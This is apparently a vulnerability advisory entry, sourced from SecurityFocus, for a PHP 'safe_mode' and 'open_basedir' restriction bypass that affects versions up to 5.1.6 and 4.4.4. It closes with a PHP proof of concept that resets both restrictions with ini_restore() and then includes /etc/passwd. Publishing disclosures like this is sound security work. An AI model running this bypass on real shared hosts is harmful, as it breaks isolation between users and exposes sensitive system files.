source: http://www.securityfocus.com/bid/19933/info

PHP is prone to a 'safe_mode' and 'open_basedir' restriction-bypass vulnerability. Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

These issues are reported to affect PHP versions 5.1.6, 4.4.4, and earlier.

Reports indicate that fixes may be available to address this issue, but this has not been confirmed.

<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>